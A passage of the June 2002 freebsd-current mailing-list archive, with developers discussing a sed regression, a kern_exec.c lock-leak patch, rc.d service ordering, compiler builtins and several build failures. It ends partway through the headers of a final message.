From owner-freebsd-current  Sun Jun 16  0: 6:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail502.nifty.com (mail502.nifty.com [202.248.37.210])
	by hub.freebsd.org (Postfix) with ESMTP
	id 9268637B40D; Sun, 16 Jun 2002 00:06:51 -0700 (PDT)
Received: from localhost
	by mail502.nifty.com (8.12.3/3.7W-02/25/02) with ESMTP id g5G75dfA006118;
	Sun, 16 Jun 2002 16:05:43 +0900
Date: Sun, 16 Jun 2002 16:05:23 +0900 (JST)
Message-Id: <20020616.160523.78703575.jcc00712@nifty.com>
To: mobile@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: ESS sound card support on laptop
From: Masahide -mac- NODA <mac@clave.gr.jp>
In-Reply-To: <20020615231135.GC93385@leviathan.inethouston.net>
References: <20020615212649.GA89927@leviathan.inethouston.net>
	<20020615.170753.103627757.imp@village.org>
	<20020615231135.GC93385@leviathan.inethouston.net>
X-Mailer: Mew version 2.2 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

From: "David W. Chapman Jr." <dwcjr@inethouston.net>
Subject: Re: ESS sound card support on laptop
Date: Sat, 15 Jun 2002 18:11:35 -0500
Message-ID: <20020615231135.GC93385@leviathan.inethouston.net>

dwcjr> The rumor I heard is that their english isn't that good so that I 
dwcjr> might not be able to communicate with them, english being the only 
dwcjr> language I know.  I would be glad to contact them if this isn't the 
dwcjr> case, but I"m not sure exactly who they are.

It is rumor truly, I think. :-)

-- 
mac@clave.gr.jp/mac@jp.freebsd.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  0:16:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id B568D37B40F; Sun, 16 Jun 2002 00:16:38 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id RAA07475;
	Sun, 16 Jun 2002 17:16:25 +1000
Date: Sun, 16 Jun 2002 17:21:03 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Maxime Henrion <mux@FreeBSD.ORG>, <current@FreeBSD.ORG>
Subject: Re: duplicate -ffreestanding in kernel build
In-Reply-To: <3D0C22CB.A3DD0EA8@mindspring.com>
Message-ID: <20020616171444.N3623-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, 15 Jun 2002, Terry Lambert wrote:

> Bruce Evans wrote:
> printf( <const string>); -> pusts( <const string>);
>
> > > That is an incredibly *fugly* "optimization".  It assumes that I
> > > use libc, unless I have "-ffreestanding", and it assumes my
> > > implementation of printf vs. puts.
> >
> > This is a routine optimization.  It assumes that you use a C compiler
> > (printf and even libc might not exist, since they might be builtins).
> > A non-routine optimization might involve building hardware to run the
> > application and emitting the 1 bit instruction to turn the hardware on.
>
> It's routine to assume that I'm going to use libc?!?

No.  It is routine to assume that users use a library that meets the
compiler's requirements (the compiler gets to decide, not the users;
it is only constrained by the relevant standards and historical
(mal)practice).

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  1:55: 0 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dilbert.robbins.dropbear.id.au (214.b.009.mel.iprimus.net.au [210.50.113.214])
	by hub.freebsd.org (Postfix) with ESMTP id F204F37B403
	for <current@FreeBSD.ORG>; Sun, 16 Jun 2002 01:54:54 -0700 (PDT)
Received: from dilbert.robbins.dropbear.id.au (tim@localhost [127.0.0.1])
	by dilbert.robbins.dropbear.id.au (8.12.3/8.12.3) with ESMTP id g5G8soY2025519
	for <current@FreeBSD.ORG>; Sun, 16 Jun 2002 18:54:51 +1000 (EST)
	(envelope-from tim@dilbert.robbins.dropbear.id.au)
Received: (from tim@localhost)
	by dilbert.robbins.dropbear.id.au (8.12.3/8.12.3/Submit) id g5G8rZPH025518
	for current@FreeBSD.ORG; Sun, 16 Jun 2002 18:53:35 +1000 (EST)
Date: Sun, 16 Jun 2002 18:53:35 +1000
From: Tim Robbins <tjr@FreeBSD.ORG>
To: current@FreeBSD.ORG
Subject: [tjr@FreeBSD.org: cvs commit: src/usr.bin/sed main.c]
Message-ID: <20020616185335.A25500@dilbert.robbins.dropbear.id.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Does this fix the recent problems people were having with sed?
The examples I could dig up on the web that use the `N' command work
properly with this change (same as they do on -DP1).

Here are a few of the examples that are fixed:
(from http://www.faqs.org/faqs/editor-faq/sed/)

   # 10. Delete all CONSECUTIVE blank lines from file except the first.
   # This method also deletes all blank lines from top and end of file.
   # (emulates "cat -s")
   sed '/./,/^$/!d' file       # this allows 0 blanks at top, 1 at EOF
   sed '/^$/N;/\n$/D' file     # this allows 1 blank at top, 0 at EOF

   # 12. Delete all trailing blank lines at end of file (only).
   sed -e :a -e '/^\n*$/{$d;N;};/\n$/ba' file

   # 13. If a line ends with a backslash, join the next line to it.
   sed -e :a -e '/\\$/N; s/\\\n//; ta' file

If this change doesn't fix the problems, please give me small and simple
sed scripts that demonstrate the incorrect behaviour.


Tim


----- Forwarded message from "Tim J. Robbins" <tjr@FreeBSD.org> -----

Delivered-To: tjr@freebsd.org
Delivered-To: cvs-committers@freebsd.org
From: "Tim J. Robbins" <tjr@FreeBSD.org>
Date: Sun, 16 Jun 2002 01:44:39 -0700 (PDT)
To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org
Subject: cvs commit: src/usr.bin/sed main.c
X-FreeBSD-CVS-Branch: HEAD
Precedence: bulk
X-Loop: FreeBSD.ORG

tjr         2002/06/16 01:44:39 PDT

  Modified files:
    usr.bin/sed          main.c 
  Log:
  Correct the handling of (for example) the N command by only zeroing the
  input space in mf_fgets() if we reach the end of all input files.
  
  Revision  Changes    Path
  1.24      +2 -1      src/usr.bin/sed/main.c

----- End forwarded message -----

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  2:39:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from obsecurity.dyndns.org (adsl-63-207-60-56.dsl.lsan03.pacbell.net [63.207.60.56])
	by hub.freebsd.org (Postfix) with ESMTP
	id D24DD37B40B; Sun, 16 Jun 2002 02:39:18 -0700 (PDT)
Received: by obsecurity.dyndns.org (Postfix, from userid 1000)
	id 706B766D51; Sun, 16 Jun 2002 02:39:18 -0700 (PDT)
Date: Sun, 16 Jun 2002 02:39:18 -0700
From: Kris Kennaway <kris@obsecurity.org>
To: Stefan Esser <se@FreeBSD.org>
Cc: Kris Kennaway <kris@obsecurity.org>,
	Yamada Ken Takeshi <ken@tydfam.jp>, freebsd-current@FreeBSD.org
Subject: Re: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020616023918.C12427@xor.obsecurity.org>
References: <20020608.171312.730576735.ken@tydfam.jp> <20020608013938.B5755@xor.obsecurity.org> <20020608092926.GA2635@StefanEsser.FreeBSD.org>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="iFRdW5/EC4oqxDHL"
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020608092926.GA2635@StefanEsser.FreeBSD.org>; from se@FreeBSD.org on Sat, Jun 08, 2002 at 11:29:26AM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--iFRdW5/EC4oqxDHL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Jun 08, 2002 at 11:29:26AM +0200, Stefan Esser wrote:

> I got around this problem by (indirectly) fixing the ".c.o" rule
> in the Imakefile. This patch was part of my previous mail to you
> regarding the XFree86 library build process (new version of patch-z32).

Thanks for looking into this; I'd appreciate it if someone could
commit a fix, but the patch below is suboptimal because it affects all
versions of FreeBSD.  Can you modify it so it only disables
optimization on (recent) 5.0?

> File:	/usr/ports/x11/XFree86-4-libraries/files/patch-z32
>=20
> --- lib/GL/mesa/src/OSmesa/Imakefile.orig	Tue Apr  3 11:29:33 2001
> +++ lib/GL/mesa/src/OSmesa/Imakefile	Wed Jun  5 12:28:26 2002

[...]

Kris

--iFRdW5/EC4oqxDHL
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQE9DFzFWry0BWjoQKURAn6AAKD9NwMNrdXcFGLnsH5D8U5BMvySzgCgw01v
59qnKtR3vGKSK0GgL0p/aKY=
=0H/G
-----END PGP SIGNATURE-----

--iFRdW5/EC4oqxDHL--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  3:26:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from cheer.mahoroba.org (flets19-004.kamome.or.jp [218.45.19.4])
	by hub.freebsd.org (Postfix) with ESMTP id E973537B405
	for <current@FreeBSD.ORG>; Sun, 16 Jun 2002 03:26:30 -0700 (PDT)
Received: from piano.mahoroba.org (IDENT:tCiyWcxMoGk6OsFtqx3lruVAnkMiIkRf+98EuqKfvuckXuf6Qn2uBvLgQdLxXrZB@piano.mahoroba.org [IPv6:2001:200:301:0:240:96ff:fe48:4ea8])
	(user=ume mech=CRAM-MD5 bits=0)
	by cheer.mahoroba.org (8.12.4/8.12.4) with ESMTP/inet6 id g5GAQPAK005245
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sun, 16 Jun 2002 19:26:26 +0900 (JST)
	(envelope-from ume@mahoroba.org)
Date: Sun, 16 Jun 2002 19:26:24 +0900
Message-ID: <yge1yb7v7sf.wl@piano.mahoroba.org>
From: Hajimu UMEMOTO <ume@mahoroba.org>
To: Brooks Davis <brooks@one-eyed-alien.net>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: prefix(8) and gifconfig(8) are obsoleted.
In-Reply-To: <20020615163001.A22998@Odin.AC.HMC.Edu>
References: <yge7kl0v286.wl@piano.mahoroba.org>
User-Agent: xcite1.38> Wanderlust/2.9.13 (Unchained Melody) SEMI/1.14.3
 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3
 Emacs/21.2 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=)
X-Operating-System: FreeBSD 4.6-RELEASE
MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Virus-Scanned: by AMaViS-perl11-milter (http://amavis.org/)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

>>>>> On Sat, 15 Jun 2002 16:30:01 -0700
>>>>> Brooks Davis <brooks@one-eyed-alien.net> said:

brooks> [1  <text/plain; us-ascii (quoted-printable)>]
brooks> On Sun, Jun 16, 2002 at 03:14:17AM +0900, Hajimu UMEMOTO wrote:
> I committed to don't install prefix(8) and gifconfig(8).  ifconfig(8)
> has the facilities provided by these commands.  Please use
> ifconfig(8).
> 
> 	gifconfig -> ifconfig tunnel/deletetunnel
> 	prefix    -> ifconfig eui64
> 
> I'll do cvs remove after a mean time.
> I have no plan to MFC this due to backward compatibility issue.

brooks> After RELENG_4 is unfrozen, it would probably be a good idea to modify
brooks> these utilities to warn of their obsolesence when run to try and get
brooks> people to switch now.

Okay, I'll do it for gifconfig(8).
Current prefix(8) does that by replacing it with a wrapper script
since 11 months ago.

--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume@mahoroba.org  ume@bisd.hitachi.co.jp  ume@{,jp.}FreeBSD.org
http://www.imasy.org/~ume/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  3:32:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP
	id 468FD37B419; Sun, 16 Jun 2002 03:32:30 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 5CCE45361; Sun, 16 Jun 2002 12:32:28 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: anholt@freebsd.org
Cc: current@FreeBSD.ORG, Bruce Evans <bde@zeta.org.au>
Subject: Re: i386 tinderbox failure
References: <20020616164549.W3531-100000@gamplex.bde.org>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 16 Jun 2002 12:32:27 +0200
In-Reply-To: <20020616164549.W3531-100000@gamplex.bde.org>
Message-ID: <xzpvg8j345g.fsf@flood.ping.uio.no>
Lines: 15
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Bruce Evans <bde@zeta.org.au> writes:
> This is caused by an old bogus include path in Makefiles (still needed
> :-(), a bogus #include in drm and new newspace pollution in
> <sys/select.h>.  drm includes <sys/select.h>, although this header is
> essentially user-only.  <sys/select.h> now includes <signal.h>.
> <signal.h> declares psignal(3) which is quite different from psignal(9).
> ISTR that all includes of <sys/select.h> in the kernel were changed to
> includes of <sys/selinfo.h>.  There seems to have been a lot of bitrot
> since then.

Eric, can you fix this?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  4: 5:40 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241])
	by hub.freebsd.org (Postfix) with ESMTP
	id 9B9AB37B405; Sun, 16 Jun 2002 04:05:16 -0700 (PDT)
Received: from kokeb.ambesa.net ([64.166.84.78])
 by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GXS003TXPGSCM@mta5.snfc21.pbi.net>; Sun,
 16 Jun 2002 04:05:16 -0700 (PDT)
Received: from kokeb.ambesa.net (tanstaafl@localhost [127.0.0.1])
	by kokeb.ambesa.net (8.12.3/8.12.3) with ESMTP id g5GBAZ37000815; Sun,
 16 Jun 2002 04:10:35 -0700 (PDT envelope-from mikem@kokeb.ambesa.net)
Received: (from mikem@localhost)	by kokeb.ambesa.net (8.12.3/8.12.3/Submit)
 id g5GBANo3000814; Sun, 16 Jun 2002 04:10:23 -0700 (PDT envelope-from mikem)
Date: Sun, 16 Jun 2002 04:10:23 -0700
From: Mike Makonnen <makonnen@pacbell.net>
Subject: Re: Fixing "could sleeep..." was (Re: ../../../vm/uma_core.c:132
In-reply-to: <XFMail.20020611183332.jhb@FreeBSD.org>
To: John Baldwin <jhb@FreeBSD.ORG>
Cc: hiten@uk.FreeBSD.org, jrh@lab.it.uc3m.es,
	freebsd-current@FreeBSD.ORG
Message-id: <20020616041023.47491ea3.makonnen@pacbell.net>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.0 (GTK+ 1.2.10; i386--freebsd5.0)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <20020611152747.091c2377.makonnen@pacbell.net>
 <XFMail.20020611183332.jhb@FreeBSD.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Tue, 11 Jun 2002 18:33:32 -0400 (EDT)
John Baldwin <jhb@FreeBSD.ORG> wrote:

> 
> Well, it shouldn't be but it is. :-P  However, one should try to avoid holding
> locks except when necessary to maximize concurrency.  Thus it is better to do
> things like malloc() and free() while not holding locks if possible.
> 
> > On which way to go:
> > I like your idea better, because it is less work and less bloat. Sometimes
> > I have to keep reminding myself: "Choose the simplest design that works."
> 
> Fair enough.  Thanks for working on this.
> 

np. It's much fun!

I don't know if you recieved my earlier email about a bug that I found in
execve() while working on fixing the "malloc w/ process lock held" bugs.
Here's a simpler patch.

It fixes possible resource leaks and failure to unlock a lock, introduced
by nectar@ in rev. 1.162 of kern/kern_exec.c, in the case where the call
to fdcheckstd() fails. Basically it fails to deallocate resources and unlock the
process lock.

Cheers,
Mike Makonnen

Index: sys/kern/kern_exec.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_exec.c,v
retrieving revision 1.164
diff -u -r1.164 kern_exec.c
--- sys/kern/kern_exec.c	7 Jun 2002 05:41:27 -0000	1.164
+++ sys/kern/kern_exec.c	14 Jun 2002 14:06:14 -0000
@@ -133,7 +133,7 @@
 	struct image_params image_params, *imgp;
 	struct vattr attr;
 	int (*img_first)(struct image_params *);
-	struct pargs *oldargs, *newargs = NULL;
+	struct pargs *oldargs=NULL, *newargs = NULL;
 	struct procsig *oldprocsig, *newprocsig;
 #ifdef KTRACE
 	struct vnode *tracevp = NULL;
@@ -383,8 +383,10 @@
 #endif
 		/* Make sure file descriptors 0..2 are in use.  */
 		error = fdcheckstd(td);
-		if (error != 0)
-			goto exec_fail_dealloc;
+		if (error != 0) {
+			oldcred = NULL;
+			goto done1;
+		}
 		/*
 		 * Set the new credentials.
 		 */
@@ -467,6 +469,7 @@
 		p->p_args = newargs;
 		newargs = NULL;
 	}
+done1:
 	PROC_UNLOCK(p);
 
 	/*
@@ -486,7 +489,8 @@
 	if (tracevp != NULL)
 		vrele(tracevp);
 #endif
-	pargs_drop(oldargs);
+	if (oldargs != NULL)
+		pargs_drop(oldargs);
 
 exec_fail_dealloc:
 

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  4:40:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49])
	by hub.freebsd.org (Postfix) with ESMTP
	id 6968C37B415; Sun, 16 Jun 2002 04:40:13 -0700 (PDT)
Received: from pool0009.cvx22-bradley.dialup.earthlink.net ([209.179.198.9] helo=mindspring.com)
	by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17JYO5-00072V-00; Sun, 16 Jun 2002 04:40:06 -0700
Message-ID: <3D0C78F0.FDD244F9@mindspring.com>
Date: Sun, 16 Jun 2002 04:39:28 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Bruce Evans <bde@zeta.org.au>
Cc: Maxime Henrion <mux@FreeBSD.ORG>, current@FreeBSD.ORG
Subject: Re: duplicate -ffreestanding in kernel build
References: <20020616171444.N3623-100000@gamplex.bde.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Bruce Evans wrote:
> > It's routine to assume that I'm going to use libc?!?
> 
> No.  It is routine to assume that users use a library that meets the
> compiler's requirements (the compiler gets to decide, not the users;
> it is only constrained by the relevant standards and historical
> (mal)practice).

Where is this crap, and how to turn it off, spelled out, other
than the source code?  I didn't see it in the .info; maybe I'm
just looking in the wrong place?

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  5:35:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by hub.freebsd.org (Postfix) with ESMTP id 1AAD537B410
	for <current@FreeBSD.ORG>; Sun, 16 Jun 2002 05:35:13 -0700 (PDT)
Received: from kokeb.ambesa.net ([64.166.84.78])
 by mta6.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GXS00KTUTMO28@mta6.snfc21.pbi.net> for current@FreeBSD.ORG;
 Sun, 16 Jun 2002 05:35:13 -0700 (PDT)
Received: from kokeb.ambesa.net (tanstaafl@localhost [127.0.0.1])
	by kokeb.ambesa.net (8.12.3/8.12.3) with ESMTP id g5GCeV37001336; Sun,
 16 Jun 2002 05:40:31 -0700 (PDT envelope-from mikem@kokeb.ambesa.net)
Received: (from mikem@localhost)	by kokeb.ambesa.net (8.12.3/8.12.3/Submit)
 id g5GCeUpI001335; Sun, 16 Jun 2002 05:40:30 -0700 (PDT envelope-from mikem)
Date: Sun, 16 Jun 2002 05:40:30 -0700
From: Mike Makonnen <makonnen@pacbell.net>
Subject: Re: HEADS UP: rc.d is in the tree
In-reply-to: <3D0BBD43.6623BCBD@mindspring.com>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: current@FreeBSD.ORG, danny@cs.huji.ac.il, gordont@gnf.org
Message-id: <20020616054030.29e6ed35.makonnen@pacbell.net>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.0 (GTK+ 1.2.10; i386--freebsd5.0)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <E17IrYC-000NFi-00@cse.cs.huji.ac.il>
 <20020614142308.7ddeaed0.makonnen@pacbell.net>
 <3D0A6E7B.F243329A@mindspring.com> <20020615121247.A6971@dragon.nuxi.com>
 <3D0B9A60.A4A816A4@mindspring.com>
 <20020615144656.06f8404d.makonnen@pacbell.net>
 <3D0BBD43.6623BCBD@mindspring.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, 15 Jun 2002 15:18:43 -0700
Terry Lambert <tlambert2@mindspring.com> wrote:

> 
> > > Otherwise circular dependencies.
> > 
> > That's what rcorder(8) is there for.
> 
> It's not that simple.
> 
> The most obvious example is the need to use DNS in order to look
> up syslog hosts, and whether you start syslogd before you start
> DNS, if DNS needs to syslog errors.
> 
> Since the DNS information is only used by syslogd when actual
> logging to a remote host takes place, it should be possible to
> say that syslog has a soft dependency on DNS, and DNS has a hard
> dependency on syslog.
> 

So, what you're describing is a chicken and egg problem. The solution
is simple, the sysadmin decides which one he wants to start first by 
fiddling with the REQUIRE and BEFORE lines, or the script can make 
use of the force_depend() subroutine to start required services
that aren't already started.


Cheers,
Mike Makonnen

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  5:55:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.lflat.org (62.79.36.241.adsl.taaj.worldonline.dk [62.79.36.241])
	by hub.freebsd.org (Postfix) with ESMTP id 7FAD237B42A
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 05:55:45 -0700 (PDT)
Received: from puppy.loc (puppy.loc [192.168.1.2])
	by mail.lflat.org (Postfix) with ESMTP id 4665133E0F
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 14:55:43 +0200 (CEST)
Subject: RE:  Syscalls.master broken on -CURRENT?
From: Vadim Belman <voland@lflat.org>
To: freebsd-current <freebsd-current@freebsd.org>
In-Reply-To: <Pine.NEB.3.96L.1020615120206.89890B-100000@fledge.watson.org>
References: <Pine.NEB.3.96L.1020615120206.89890B-100000@fledge.watson.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.5 
Date: 16 Jun 2002 14:55:43 +0200
Message-Id: <1024232143.82226.13.camel@puppy.loc>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, 2002-06-15 at 18:03, Robert Watson wrote:

> >  > During the compilation of usr.bin/truss this error stops world:
> >  >
> >  > syscalls.master: line 55: syscall number out of sync at 7
> >  > line is:
> >  >	  struct rusage  * rusage ) ;  }  wait4 wait_args int
> >  >
> >  > The error is actually produced by the execution of
> >  > '/usr/src/sys/kern/makesyscalls.sh syscalls.master'
> >  >
> >  > What I don't understand is why this same error breaks world
> >  > on one of my -CURRENT machines but not on the other machine...
> > 
> > Try this:
> > 
> > # cd /usr/src/usr.bin/truss
> > # make clean
> > # make
> > 
> > I think you will see the error appear.
> 
> s/appear/disappear/?  It basically looks like the generated include files
> aren't in sync, but it's not something I can reproduce locally.  Lots of
> make cleaning and make includes should clear this up.  If it doesn't, let
> me know, and I'll do more chasing.

	I just have found source of the problem. It's broken sed, again. Having
a look into syscalls.master it's easy to spot that error take place
where lines are broken like this one:

7       MSTD    BSD     { int wait4(int pid, int *status, int options, \
                          struct rusage *rusage); } wait4 wait_args int

	As they're joned back with sed, it's easy to guess the cause...

# cd /usr/src/usr.bin/sed
# make
# make install

	And it works.

-- 
/Voland			Vadim Belman
			http://www.lflat.org
			http://www.lflat.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  6: 0:52 2002
Delivered-To: freebsd-current@freebsd.org
